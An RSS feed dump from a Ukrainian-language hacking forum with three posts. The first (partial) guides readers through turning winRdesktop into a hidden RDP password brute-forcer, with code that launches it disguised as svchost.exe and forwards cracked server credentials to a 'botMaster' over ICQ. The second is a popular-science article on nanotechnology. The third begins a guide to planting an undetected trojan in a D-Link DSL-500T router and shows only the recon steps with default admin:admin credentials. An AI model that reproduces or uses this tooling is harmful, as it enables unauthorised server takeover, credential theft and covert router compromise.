						&lt;p&gt;рrocess_text2 () обробляє пакет, в якому приходить текст від сервера (що очевидно з його назви), в ньому ми порівнюємо отриманий текст з деякими заздалегідь відомими послідовностями при logon&#039;e. Останній крок - відкриваємо rdp.c і шукаємо процедуру process_data_pdu (). У ній нас цікавить шматок коду, що починається з &amp;quot;case RDP_DATA_PDU_LOGON:&amp;quot;. Просто вставляємо ExitProcess (4) після неї. Навіщо нам потрібен ExitProcess () - читай далі.&lt;/p&gt;
						&lt;p&gt;Так, з коригуванням winRdesktop&#039;a ми з тобою розібралися. Якщо ти думаєш, що найскладніше позаду - ти глибоко помиляєшся. Найскладніше ще попереду.&lt;/p&gt;
						&lt;p&gt;Перша проблема, з якою мені довелося зіткнутися, - це поява вікна програми під час запуску. Нам воно не потрібно, тому сміливо робимо ShowWindow з параметром SW_HIDE.&lt;/p&gt;
						&lt;p&gt;Друга проблема - як же брутфорс спілкуватися із зовнішнім світом, як він буде повідомляти нам про результат перевірки? Printf () і інше не працюють, у файл писати - це не круто. Найбільш простий і в той же час надійний метод - завершувати додаток з різними ExitCode&#039;амі. Наприклад, ExitProcess (4) буде викликатися при правильному паролі, ExitProcess (2) - при неправильному, а ExitProcess (3) - при невдалій спробі підключення. Сказано - зроблено (результат ти можеш побачити в process_text2 () на врізку).&lt;/p&gt;
						&lt;p&gt;Третя проблема, її мені так і не вдалося вирішити - нефіговое споживання ресурсів. Забігаючи вперед, скажу, що 30 потоків вантажать на 100% процесор мого MSI Wind u90. Пов&#039;язано це з розпакуванням бітмепов (RDP-сервер сильно стискає картинки). Я вирізав всі (на мій погляд) непотрібні шматки коду з розпакуванням і малюванням на формі (навіщо малювати на формі, якщо ми її не бачимо?), Що дозволило трохи знизити ресурсопотребленіе, але проблему це все одно не вирішило. Якщо ти - крутий кодер на С, і тобі вдасться знизити апетит розпаковують, не забудь повідомити мені про це:).&lt;/p&gt;
						&lt;p&gt;Четверта, і остання, проблема - відсутність будь-яких символів, крім англійського алфавіту і цифр. Навчити брутфорс розуміти кирилицю мені так і не вдалося, хоча, може бути, воно й на краще - Брут російські сервера не варто:).&lt;br /&gt;Бруту - гуй!&lt;/p&gt;
						&lt;p&gt;У принципі, брутфорс вже готовий, але він однопоточний - так само, як і брут від metal&#039;a. Можна, звичайно, писати батники для запуску Брута, але ми ж круті хакери, ми хочемо Брут Дедик десятками в день, і тому вихід у нас один - написання фронт-енду. Як інструмент я вибрав ... ні, не модний нині C #, а свій улюблений (і набагато більш перспективний, на мій погляд) Qt Framework. В] [вже не раз писали про нього, тому не бачу сенсу описувати всі його достоїнства. Далі я маю на увазі, що ти вже вмієш працювати з цим фреймворком. Якщо ні - раджу почитати офіційну документацію Qt на qt.nokia.com і в обов&#039;язковому порядку - книгу Саммерфілд і Бланшет (працівники Qt Software, один з них як раз займається документацією, так що книжка шикарна).&lt;/p&gt;
						&lt;p&gt;Запускаємо Qt Creator (раджу використовувати snapshot&#039;и - вони не більше глючний, ніж stable-версії, але більш зручні, і містять всі прийдешні нововведення). Отже, створюємо новий GUI-проект з одним віджетом. Дизайн - особиста справа кожного, на скріншоті ти можеш побачити те. що вийшло у мене.&lt;/p&gt;
						&lt;p&gt;Для початку - накидаємо невеликий план.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. Головний потік запускає допоміжний потік.&lt;br /&gt;&amp;#160; &amp;#160;2. Допоміжний потік запускає. Exe-шник, який ми написали раніше, і чекає результату.&lt;br /&gt;&amp;#160; &amp;#160;3. Коли виконання брутфорс закінчується, потік випускає сигнал, який обробляється головним потоком, бере наступні логін і пароль, і переходить до кроку 2.&lt;/p&gt;
						&lt;p&gt;Для допоміжних потоків я написав клас BruteThread, який, по суті, не є потоком, оскільки не успадковується від QThread, але використовує тільки асинхронні методи для виконання дій, що займають тривалий час. BruteThread займається запуском нашого модифікованого winRDesktop&#039;a за допомогою об&#039;єкту process класу QProcess. Клас QProcess створений для запуску зовнішніх програм, і може запускати додаток, направляти його висновок в консоль (те, що виводиться через printf або cout, наприклад), відстежувати зміну стану і завершення процесу. Нас цікавлять тільки запуск і завершення програми - якщо відбувається одна з цих подій, випускаються сигнали void started () і void finished (int exitCode) відповідно. Зверни увагу на останній сигнал - у ньому як параметр передається код, з яким додаток було завершено - і цей параметр нам дуже сильно стане в нагоді. Обробляти ми будемо тільки другий сигнал, і код слота ти можеш побачити на урізанні &amp;quot;Сигнал onFinished ()&amp;quot;. У ньому потік випускає відповідні сигнали, і переходить до наступної комбінації логін; пароль.&lt;/p&gt;
						&lt;p&gt;Сам запуск процесу виглядає ось так:&lt;/p&gt;
						&lt;p&gt;Запуск процесу Брута&lt;/p&gt;
						&lt;p&gt;QStringList slArgs;&lt;br /&gt;slArgs &amp;lt;&amp;lt;&amp;quot;-u&amp;quot; &amp;lt;&amp;lt;slLogins.at (iCurrentLogin) &amp;lt;&amp;lt;&amp;quot;-p&amp;quot; &amp;lt;&amp;lt;slPasswords.at (iCurrentPassword) &amp;lt;&amp;lt;sServer;&lt;br /&gt;process.start (&amp;quot;svchost.exe&amp;quot;, slArgs);&lt;br /&gt;iCurrentPassword + +;&lt;/p&gt;
						&lt;p&gt;Як бачиш, аргументи процесу передаються в QStringList, що дуже зручно:). Ну і, звичайно ж, не забудь в конструкторі класу відразу приєднати сигнал до слоту:&lt;/p&gt;
						&lt;p&gt;QObject:: connect (&amp;amp; process, SIGNAL (finished (int)), this, SLOT (onFinished (int)));&lt;/p&gt;
						&lt;p&gt;Ось так виглядає слот головного потоку, обробляє результати:&lt;/p&gt;
						&lt;p&gt;Обробляємо результати в головному потоці&lt;/p&gt;
						&lt;p&gt;if (iResult == 0)&lt;br /&gt;{&lt;br /&gt;iGood + +;&lt;br /&gt;iChecked + +;&lt;br /&gt;writeResult (QString (&amp;quot;% 1:% 2;% 3&amp;quot;). arg (sServer). arg (sUser). arg (sPassword), &amp;quot;good.txt&amp;quot;);&lt;br /&gt;oscar.sendMessage (settings.botMaster (), QString (&amp;quot;% 1:% 2;% 3&amp;quot;). arg (sServer). arg (sUser). arg (sPassword));&lt;br /&gt;if (trayIcon.isVisible ())&lt;br /&gt;trayIcon.showMessage (&amp;quot;Good&amp;quot;, QString (&amp;quot;% 1:% 2;% 3&amp;quot;). arg (sServer). arg (sUser). arg (sPassword));&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;if (iResult == -1)&lt;br /&gt;{&lt;br /&gt;iBad + +;&lt;br /&gt;iChecked + +;&lt;br /&gt;}&lt;br /&gt;Done!&lt;/p&gt;
						&lt;p&gt;Ось і все! Останнє ти повинен доробити сам, а якщо не зможеш - сміливо дивись в мої вихідні коди на диску. Тільки не сподівайся, що зможеш відкрити проект, поміняти назви кнопочок і заробити на Хаммер, продаючи новий брут - у ньому є кілька елементарних прийомів, і, якщо ти скрипт-Кід, то скомпіліть проект у тебе не вийде. Ну, а якщо вмієш хоча б базово працювати з С, то, я думаю, проблем воно тобі не принесе:).&lt;/p&gt;
						&lt;p&gt;До цього рішення я прийшов після масової перекомпіляції мого R &amp;amp; D P Brute, після викладання його вихідного, школотой (не плутати зі школярами!), Які за найменших проблем чинили дії сексуального характеру з моїм мозком (&amp;quot;А у мене не та версія mstscax.dll, що робити?? &amp;quot;,&amp;quot; А що значить ShowMessage ()???&amp;quot;). Один з індивідуумів, до речі, сам зізнався, що brain.dll і hands.lib у нього відсутні (спасибі sslBot за лог, пореготати від душі). Ну, та ми відволіклися.&lt;/p&gt;
						&lt;p&gt;Разом у нас залишилися невирішеними дві проблеми, усунення яких я доручаю тобі:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. Споживання ресурсів.&lt;br /&gt;&amp;#160; &amp;#160;2. Підтримка кирилиці (чисто спортивний інтерес, ще раз повторюю - не Брут російські сервера).&lt;/p&gt;
						&lt;p&gt;На цьому дозволь попрощатися. Вдалого кодінг!&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Подяки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Хотілося б подякувати наступних людей за допомогу, надану при написанні Брута:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Metal aka DeX - за допомогу з C / C + +, та й взагалі прекрасна людина, допомагав завжди!&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Fry - за допомогу з протоколом OSCAR&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Мемберов forum.asechka.ru - за тестування і підтримку.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; А також:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Xo0x.art, vitalikis&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Максима Sundagy Бліненкова - за С / C + +&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Варвару &amp;quot;Miracle&amp;quot; Ячменьова - за моральну підтримку:)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Ну і, звичайно ж, своїх батьків:)&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Сигнал onFinished ()&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; if (exitCode&amp;gt; 666)&lt;br /&gt;&amp;#160; &amp;#160; {&lt;br /&gt;&amp;#160; &amp;#160; emit onServerResult (sServer,&lt;br /&gt;&amp;#160; &amp;#160; slLogins.at (iCurrentLogin),&lt;br /&gt;&amp;#160; &amp;#160; slPasswords.at (iCurrentPassword-1),&lt;br /&gt;&amp;#160; &amp;#160; exitCode);&lt;br /&gt;&amp;#160; &amp;#160; emit onDoneServer (this);&lt;br /&gt;&amp;#160; &amp;#160; return;&lt;br /&gt;&amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; switch (exitCode)&lt;br /&gt;&amp;#160; &amp;#160; {&lt;br /&gt;&amp;#160; &amp;#160; case 666: / / Помилка&lt;br /&gt;&amp;#160; &amp;#160; emit onDoneServer (this);&lt;br /&gt;&amp;#160; &amp;#160; return;&lt;br /&gt;&amp;#160; &amp;#160; case 0: / / Фіг знає&lt;br /&gt;&amp;#160; &amp;#160; emit onServerResult (sServer,&lt;br /&gt;&amp;#160; &amp;#160; slLogins.at (iCurrentLogin),&lt;br /&gt;&amp;#160; &amp;#160; slPasswords.at (iCurrentPassword-1),&lt;br /&gt;&amp;#160; &amp;#160; true);&lt;br /&gt;&amp;#160; &amp;#160; if (bSkipZero)&lt;br /&gt;&amp;#160; &amp;#160; {&lt;br /&gt;&amp;#160; &amp;#160; emit onDoneServer (this);&lt;br /&gt;&amp;#160; &amp;#160; return;&lt;br /&gt;&amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; break;&lt;br /&gt;&amp;#160; &amp;#160; case 4: / / Гуд!&lt;br /&gt;&amp;#160; &amp;#160; emit onServerResult (sServer,&lt;br /&gt;&amp;#160; &amp;#160; slLogins.at (iCurrentLogin),&lt;br /&gt;&amp;#160; &amp;#160; slPasswords.at (iCurrentPassword-1),&lt;br /&gt;&amp;#160; &amp;#160; 0);&lt;br /&gt;&amp;#160; &amp;#160; emit onDoneServer (this);&lt;br /&gt;&amp;#160; &amp;#160; return;&lt;br /&gt;&amp;#160; &amp;#160; case 5: / / Теж Гуд&lt;br /&gt;&amp;#160; &amp;#160; emit onServerResult (sServer,&lt;br /&gt;&amp;#160; &amp;#160; slLogins.at (iCurrentLogin),&lt;br /&gt;&amp;#160; &amp;#160; slPasswords.at (iCurrentPassword-1),&lt;br /&gt;&amp;#160; &amp;#160; 0);&lt;br /&gt;&amp;#160; &amp;#160; emit onDoneServer (this);&lt;br /&gt;&amp;#160; &amp;#160; return;&lt;br /&gt;&amp;#160; &amp;#160; default: / / Бед&lt;br /&gt;&amp;#160; &amp;#160; emit onServerResult (sServer,&lt;br /&gt;&amp;#160; &amp;#160; slLogins.at (iCurrentLogin),&lt;br /&gt;&amp;#160; &amp;#160; slPasswords.at (iCurrentPassword-1),&lt;br /&gt;&amp;#160; &amp;#160; -1);&lt;br /&gt;&amp;#160; &amp;#160; break;&lt;br /&gt;&amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; nextPassword ();&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:21:42 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=24#p24</guid>
		</item>
		<item>
			<title>Нанотехнології: промислова революція 2.0</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=23#p23</link>
			<description>&lt;p&gt;Тільки уявіть ... Ви стоїте на березі океану і дивіться на нещодавно побудований трансатлантичний міст - новітнє споруда, створене з надсучасною суперуглеродной стали, &amp;quot;витканої&amp;quot; невтомними самовідновлюються нанороботами. Завдяки медичним нанороботом, що несе постійну вахту всередині вашого організму, ви вже багато років нічим не хворієте. Ці нанороботи безперервно контролюють ваше кров&#039;яний тиск і нейтралізують уражені клітини, за рахунок чого у свої п&#039;ятдесят ви відчуваєте себе двадцятирічним. На ваш iPad 6G приходить новина про те, що в Північній Африці з-під контролю вийшли полчища нанороботів, створених для боротьби з шкідливими комахами. Ці нанороботи самовідтворюватися в такому темпі, що перетворили Ніл в брудне болото. Втім, ви тут ж розумієте, що це звичайні &amp;quot;страшилки&amp;quot; жовтої преси ...&lt;/p&gt;
						&lt;p&gt;І нехай нічого такого поки не відбулося, а також навряд чи трапиться в найближчі кілька років, все-таки ймовірність подібного розвитку подій існує. Про потенційну небезпеку нанотехнологій попереджали багато: від Станіслава Лема, описуються наслідки втрати контролю над військовими нанотехнологіями, до принца Чарльза, стурбованого можливістю повторення гучної історії шкідливого транквілізатора талидомида, від якого постраждали від 10 до 20 тисяч чоловік. Автор &amp;quot;Парку юрського періоду&amp;quot; Майкл Крайтон присвятив нанотехнологій цілий роман, а багато вчених давно передбачали, що поява &amp;quot;роботів&amp;quot; величиною з шпилькову голівку назавжди змінить людство.&lt;/p&gt;
						&lt;p&gt;І що ж? Поки нічого ...&lt;/p&gt;
						&lt;p&gt;Коли люди вперше почули про нанотехнології, їх значення виявилося перебільшеним, а про ризики говорили набагато частіше, ніж про користь. Але в міру того як інтерес публіки слабшав, прогрес, щедро подпітиваємий грошима корпорацій і держав, не стояв на місці. У результаті нанотехнології непомітно стали важливою частиною нашого життя.&lt;/p&gt;
						&lt;p&gt;Останнім часом ця тема знову стала популярною. Ера нанотехнологій неминуче настає, незалежно від того, буде вона зустрінута захопленнями (як перехід на &amp;quot;цифру&amp;quot;) чи неприйняттям (як у випадку з генетичними модифікаціями). Так що пора готуватися до великих змін, викликаним мікроскопічними причинами ...&lt;br /&gt;Промислова революція 2.0&lt;/p&gt;
						&lt;p&gt;За більшістю інвестицій в нанотехнологіях ховається тверезий економічний розрахунок. До 2008 року обсяг ринку нанотехнологій становив 12,7 мільярдів доларів, а, на думку деяких експертів, до 2012 року ця цифра може зрости до двох трильйонів. Сьогодні Великобританія інвестує в дану область більше 150 мільйонів фунтів, а за оцінками уряду США, нанотехнологічних дослідженнями займаються 1300 американських університетів і компаній, у той час як на національний нанотехнологічний проект у 2010 році виділено 1,8 мільярда доларів.&lt;/p&gt;
						&lt;p&gt;Китай теж не відстає: з 1999 року обсяг фінансування цієї сфери збільшувався на 20% щороку. Успіхи Китаю обійшли навіть найоптимістичніші прогнози чотирьох-або п&#039;ятирічної давності. До 2014 року нанотехнології можуть скласти 15% від загального обсягу виробництва. Країна, якій вдасться зайняти домінуюче становище на ринку нанотехнологій, стане лідером світової економіки.&lt;/p&gt;
						&lt;p&gt;Такі наноматеріали, як вуглецеві нанотрубки, за міцністю в 50-100 разів перевершують сталь, але важать при цьому в шість разів менше. Вони знайдуть застосування в багатьох галузях промисловості. Композитні нанопродуктом, наприклад, сталь Sandvik Nanoflex, доступні і використовуються вже сьогодні. У мікроелектроніці нанотехнології дозволять створювати біологічні наноаккумулятори, поліпшені мікропроцесори, а також конденсатори товщиною всього кілька нанометрів (нанометр - мільярдна частка метра). Одна з особливо багатообіцяючих розробок - наномагнетізм. Він має всі шанси викликати революцію в сфері зберігання інформації. На відміну від сучасних нетривких систем, що використовують електрику для підживлення, наномагнітние поля здатні зберігати дані навіть при виснаженні джерела енергії. Крім того, завдяки більш високій щільності запису, вдасться зробити черговий крок у повній відповідності до закону Мура, а це означає, що гаджети стануть ще компактніше і потужніше.&lt;/p&gt;
						&lt;p&gt;Дослідники з Техаського університету нещодавно продемонстрували аудіодінамікі, створені з вуглецевих нанотрубок, перетворених на гнучкі листи, настільки тонкі, що їх можна використовувати в якості шпалер. Британська компанія Nanoco - один з піонерів в області розробки дисплеїв і освітлення - запропонувала використовувати точкові квантові прилади (напівпровідники, оброблені на нанорівні) для точної настройки спектру випромінюваного світла.&lt;br /&gt;Питання життя і смерті&lt;/p&gt;
						&lt;p&gt;Особливо бурхливо нанотехнології розвиваються в медицині. Наприклад, у багатьох лікарнях вже сьогодні використовуються перев&#039;язувальні матеріали та одяг, оброблені наносрібла. Ця речовина має виражені антимікробні властивості і значно зменшує ймовірність поширення інфекцій. У Nanoco вважають, що за допомогою наночастинок ліки можна буде доставляти безпосередньо до конкретних органів. Крім того, &amp;quot;навчивши&amp;quot; наночастки притягатися до хворих клітин, лікарі зможуть швидше ставити діагноз і наносити менший збиток здоровим клітинам.&lt;/p&gt;
						&lt;p&gt;В даний час розробляються наночастинки для хіміотерапії, здатні розпізнавати ракові клітини і впливати на них спеціальними препаратами, а такі компанії, як CytImmune, вже почали попередні клінічні випробування. Роботи поки що доводиться проводити в чашці Петрі, але, можливо, через десять років ці технології будуть допомагати хірургам дослідити уражені тканини.&lt;/p&gt;
						&lt;p&gt;Деякі сміливі мрійники пророкують, що одного разу пацієнтам будуть пропонувати випити рідину, що містить мільйони нанороботів, запрограмованих для відновлення пошкоджених або заражених клітин. Ті ж нанороботи зможуть проводити найтонші хірургічні операції, не залишаючи шрамів. Щоправда, поки що важко передбачити, яке місце в списку Forbes доведеться позичати, щоб собі це дозволити ...&lt;/p&gt;
						&lt;p&gt;Ще одна багатообіцяюча можливість - використання нанороботів для внесення в наші організми складних змін на атомному рівні, завдяки яким буде здійснюватися корекція фізичного вигляду людини. Цей спосіб може виявитися набагато більш ефективним, ніж пластична хірургія, завдяки чому процес старіння вдасться уповільнити або навіть повернути назад.&lt;/p&gt;
						&lt;p&gt;Втім, процес старіння можна повністю зупинити, е ... за допомогою фізичного знищення старіючого організму. В даний час саме військові проекти є однією з головних рушійних сил наноіндустрії. Американські вчені з Університету Південної Кароліни нещодавно обробили бавовняну футболку з допомогою бору - третього за міцністю матеріалу на нашій планеті. Карбід бору часто використовується при виготовленні танкової броні. Втім, після обробки &amp;quot;бронефутболка&amp;quot; залишилася дуже легкою і гнучкою, завдяки чому її можна з успіхом носити в спекотні дні де-небудь в околицях Кабула.&lt;/p&gt;
						&lt;p&gt;Компанія Zyvex Performance Materials розробила для американського флоту безпілотний катер Piranha, при створенні якого було використано углеволокно, посилене нанотрубками. Piranha має довжину 13,5 метрів і на сьогоднішній день є найбільшим безпілотним катером у світі. За словами інженера Zyvex Майка Немета, Piranha &amp;quot;набагато перевершує свої аналоги по дальності і вантажопідйомності&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Доктор Юрген Альтман, професор кафедри експериментальної фізики німецького технічного університету Дортмунда, передбачає, що в майбутньому з&#039;являться мініатюрні сенсори, сервомотори і двигуни, з яких можна буде виготовляти роботів довжиною деяким більше міліметра. Ці мікроскопічні роботи зможуть проникати у ворожі ряди, щоб шпигувати або вибухати, подібно терористам-смертникам. Крім того, Альтман говорить про можливість створення мініатюризував ракет і лазерів, що володіють неймовірною для своїх розмірів потужністю.&lt;br /&gt;&amp;quot;Зелені&amp;quot; нанотехнології&lt;/p&gt;
						&lt;p&gt;Наноуборщікі, переробні токсичні відходи, які очищають забруднену воду або відновлюють озоновий шар, будуть створені ще нескоро, але нанотехнології, безсумнівно, дозволять синтезувати нові види пального, яке знизить залежність людства від невідновлюваних природних ресурсів. Вчені-матеріалознавці з Технологічного інституту Джорджії скористалися кристалічним оксидом цинку, щоб створити наногенератора розміром з поштову марку, що виробляють електрику за рахунок рухів людини. Розробники сподіваються, що незабаром такі генератори будуть заряджати наші програвачі та наручний годинник під час ходьби, а також зможуть живити системи контролю кров&#039;яного тиску за рахунок ударів серця.&lt;/p&gt;
						&lt;p&gt;В університеті Брістоля в даний час проводяться дослідження, частково спонсоровані енергетичною компанією E. ON, в ході яких учені намагаються перетворити сонячне світло в електрику з допомогою наноалмазів, здатних випромінювати терміольних електрони при відносно низьких температурах. Щоб скористатися цим ефектом, поверхня алмазу необхідно очистити на нанорівні. Завдяки цьому можливе створення дешевих сонячних панелей, які зроблять Сонце по-справжньому конкурентоспроможним джерелом поновлюваної енергії. У той же час важливо інтенсифікувати застосування нанотехнологій у виробництві харчових продуктів, інакше ми ризикуємо зіткнутися з дефіцитом продовольства. Населення планети продовжує збільшуватися і старіти, тому нам необхідний спеціальний план дій, який не дасть нашим тарілках спорожніти.&lt;/p&gt;
						&lt;p&gt;Американська компанія Argonide виробляє нанофільтри NanoCeram, в яких для очищення води використовуються нановолокна з оксиду алюмінію (до речі, розроблені в Томську). Ці фільтри дозволяють доводити до стану питної воду, взяту практично з будь-якого джерела.&lt;/p&gt;
						&lt;p&gt;Експерти Департаменту сільського господарства США вважають, що частина хліба, фруктів і овочів, що продаються на американському ринку, вже сьогодні обробляється прозорим нанопокриттям, призначеним для підвищення терміну придатності. А вчені Мюнхенського технологічного університету працюють над створенням сверхгладкой матеріалу для харчової тари. Ця технологія дозволить вам вибирати з пляшечок з кетчупом і майонезом все до останньої краплі.&lt;br /&gt;Наносегодня&lt;/p&gt;
						&lt;p&gt;У рамках проекту Project of Emerging Nanotechnologies (PEN) проводиться збір даних про споживчі &amp;quot;нанопродуктом&amp;quot;, яких сьогодні налічується понад 1100. Директор PEN Девід Реджескі попереджає: &amp;quot;Ця цифра, швидше за все, нижче реальної кількості. У наш список ми включили тільки ті товари, що мають спеціальне маркування. Останні тести кремів від засмаги показують, що в багатьох з них присутні наночастинки, про які на упаковці нічого не сказано. Ми намагаємося спостерігати за ситуацією в міжнародному масштабі і вже виявили значне збільшення частки нанопродуктів на азіатських ринках. Причому серед найменувань є все: від корейської зубної пасти до дитячих іграшок &amp;quot;.&lt;/p&gt;
						&lt;p&gt;До складу косметичних кремів входять особливі молекулярні сполуки - фулерени, нейтралізуючі вільні радикали. Сонцезахисні лосьйони, які не залишають плям, містять наночастинки оксиду цинку, що відображають ультрафіолетові промені. Леза для гоління покривають алмазним напиленням, щоб вони довше залишалися гострими. Сьогодні всі ці продукти лежать на полицях супермаркету, розташованого неподалік від вашого будинку ...&lt;/p&gt;
						&lt;p&gt;За допомогою нанотехнологій вчені пробують удосконалити і одяг. Тканина покривають нановолоскамі, які відштовхують воду та інші рідини, захищаючи те, що ми носимо, від бруду. Наносрібла, що володіє могутнім протибактеріальної і антигрибкові дією, дозволяє ефективно боротися з запахом поту. Тому сьогодні можна придбати шкарпетки й одяг з вплетеними срібними нитками. Вплив нанотехнологій відчувається і в спорті, оскільки зменшення ваги або збільшення міцності спорядження може вирішити результат змагань. Ще в 2002 році компанія Babolat представила тенісну ракетку, зроблену з графіту, із впровадженими нанотрубками - цей матеріал виявився набагато легше і міцніше, ніж сталь. Одночасно з цим знаменитий виробник спортивного обладнання Wilson створив м&#039;яч Double Core, серцевина якого покрита шаром наночастинок, що збільшують пружність. За іронією долі подібні нововведення змусили офіційні спортивні органи знизити швидкість гри, щоб вона зберегла свою видовищність.&lt;/p&gt;
						&lt;p&gt;Компанія Pilkinson розробила самоочищаються скло Activ Glass, покрите наночастинками, які запобігають прилипання бруду і крапель води, а також заряджаються від сонячного світла. Вчені виявили, що за допомогою наночастинок силікату алюмінію можна отримати стійке до подряпин покриття, яке підходить для обробки безлічі звичних речей: від контактних лінз до автомобілів. Ну а влада Мехіко вирішили діяти в більш великому масштабі і покрили стіни багатьох будинків особливим складом, відштовхуючим сторонні речовини, в тому числі і фарби, якими користуються графітчики ...&lt;br /&gt;Ризики&lt;/p&gt;
						&lt;p&gt;Сучасна наука ще далека від того, щоб представити нам першій чинного нанороботи, проте вже сьогодні вчених турбують ризики, пов&#039;язані з цими технологіями. Дослідження показали, що на відміну від звичайних частинок, наночастинки здатні переходити з крові в тканини мозку, нирки і печінку. Можливі наслідки такого переходу ще не вивчені повністю, але лабораторні експерименти, проведені під керівництвом Патріка Кейса з університету Брістоля демонструють, що металеві наночастинки можуть вражати ДНК. Результати роботи вчених Агентства із захисту навколишнього середовища США дозволяють припустити, що вдихання достатньої кількості вуглецевих нанотрубок теоретично може викликати хронічні захворювання, в тому числі рак легенів.&lt;/p&gt;
						&lt;p&gt;Регулюючі органи намагаються йти в ногу з еволюцією нанотехнологій. Ендрю Мейнард, старший науковий радник проекту PEN, попереджає: &amp;quot;Незважаючи на те, що вчені ще десять років тому піднімали питання безпеки застосування довгих тонких вуглецевих нанотрубок, зараз у США на федеральному рівні не заплановано жодного дослідження на цю тему&amp;quot;. У 2008 році США витратило на оцінку можливих негативних наслідків всього 4% від 1,4 мільярда доларів, виділених з бюджету на реалізацію національного нанотехнологічного проекту. &amp;quot;Ми лише виконуємо роль системи раннього попередження і вказуємо на місця, де можуть виникнути проблеми, - говорить Девід Реджескі з PEN. - Сьогодні настав вирішальний момент: ставлення суспільства до нанотехнологій буде залежати від того, яку інформацію воно отримає і від кого&amp;quot;.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:20:41 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=23#p23</guid>
		</item>
		<item>
			<title>Троян в роутері: зараження D-link 500T в домашніх умовах</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=22#p22</link>
			<description>&lt;p&gt;Привіт, мій читачу! У цій статті я розповім про чудових ADSL-роутерах - незамінних в домашніх і промислових мережах залізяках. Повідаю тобі про питання експлуатування цих залозок у вигідних для нас цілях - вшивання звірячого троянця у нутрощі маршрутизатора. І таким чином, щоб це не помітив ні розумний адмін, ні вухатий юзер.&lt;br /&gt;Побажання або вимоги до IQ&lt;/p&gt;
						&lt;p&gt;Коли я писав цю статтю, то припускав, що читати її буде достатньо просунутий юзер з встановленим GNU \ Linux, який також має деякі навички роботи та програмування у цій операційній системі. Однак представляється можливим повторити мої дії і на Windows (використовуючи Cygwin, наприклад), але це описано не буде. Для отримання максимального задоволення необхідні також навички володіння паяльником (це вже опціонально).&lt;br /&gt;А почалося все ...&lt;/p&gt;
						&lt;p&gt;Щось я відволікся. Отже, все почалося з того, як одного разу зависла ця сама залізяка, точніше, вона зрадливо обірвала з&#039;єднання з інтернетом і ніяк не хотіла його відновлювати. При цьому перебувала вона далеко, фізичного доступу до неї не було (втім, щось я забрехався - мені просто було ліньки встати з дивана з перезавантажити роутер:)), Web-інтерфейс не відгукувався, але я згадав, що на цій штуковини повинен бути telnet або ssh. Заходити в зону адміністрування я раніше не пробував і необачно не міняв пароль до мого профілю (як виявилося пізніше, даремно, адже по дефолту він &amp;quot;admin: admin&amp;quot;). Отже, я спробував SSH, і він працював!&lt;/p&gt;
						&lt;p&gt;$ Ssh admin@192.168.1.1&lt;br /&gt;$ Password:&lt;/p&gt;
						&lt;p&gt;Як грім серед ясного неба! BusyBox! Ніколи не замислювався про те, під чиїм управлінням перебуває цей роутер, виявляється - GNU / Linux! Мені стало дуже цікаво, як же тут все працює, і, подумки завдяки лінь і випадок, я пустився у дослідження.&lt;br /&gt;Збір інформації&lt;/p&gt;
						&lt;p&gt;Отже, з чого я почав? Звичайно, зі списку доступних команд:&lt;/p&gt;
						&lt;p&gt;# Busybox&lt;br /&gt;...&lt;br /&gt;Currently defined functions:&lt;br /&gt;[, Ash, busybox, cat, chgrp, chmod, chown, cp, date, dd, df, echo, false, free, grep, hostname, id, ifconfig, init, insmod, kill, ln, login, ls, lsmod, mkdir, modprobe, mount, mv, passwd, ping, ps, pwd, reboot, rm, rmmod, route, sh, sleep, sync, tar, test, tftp, touch, true, tty, umount, wget, whoami, yes&lt;/p&gt;
						&lt;p&gt;Набір цілком осудний, для нормального дослідження та втілення ідей вистачить. Наступним прокинувся інтерес до версії ядра:&lt;/p&gt;
						&lt;p&gt;# Cat / proc / version&lt;br /&gt;Linux version 2.4.17_mvl21-malta-mips_fp_le (root @ xy) (gcc version 2.95.3 20010315 (release / MontaVista)) # 1 Thu Dec 28 5:45:00 CST 2006&lt;/p&gt;
						&lt;p&gt;Для довідки: MontaVista - дистрибутив, орієнтований на вмонтовані системи. Переважна більшість виробників мережевого устаткування віддають перевагу цій системі. Її можна знайти і на інших пристроях, наприклад, в електронних книгах або стільникових телефонах.&lt;/p&gt;
						&lt;p&gt;Далі мене зацікавила інформація про архітектуру системи:&lt;/p&gt;
						&lt;p&gt;# Cat / etc / versions&lt;br /&gt;CUSTOMER = DLinkRU&lt;br /&gt;MODEL = DSL-500T&lt;br /&gt;VERSION = V3.02B01T01.RU.20061228&lt;br /&gt;HTML_LANG = EN.302&lt;br /&gt;BOARD = AR7VW&lt;br /&gt;VERSION_ID =&lt;br /&gt;CPUARCH_NAME = AR7&lt;br /&gt;MODEL_ID =&lt;br /&gt;FSSTAMP = 20061228055253&lt;/p&gt;
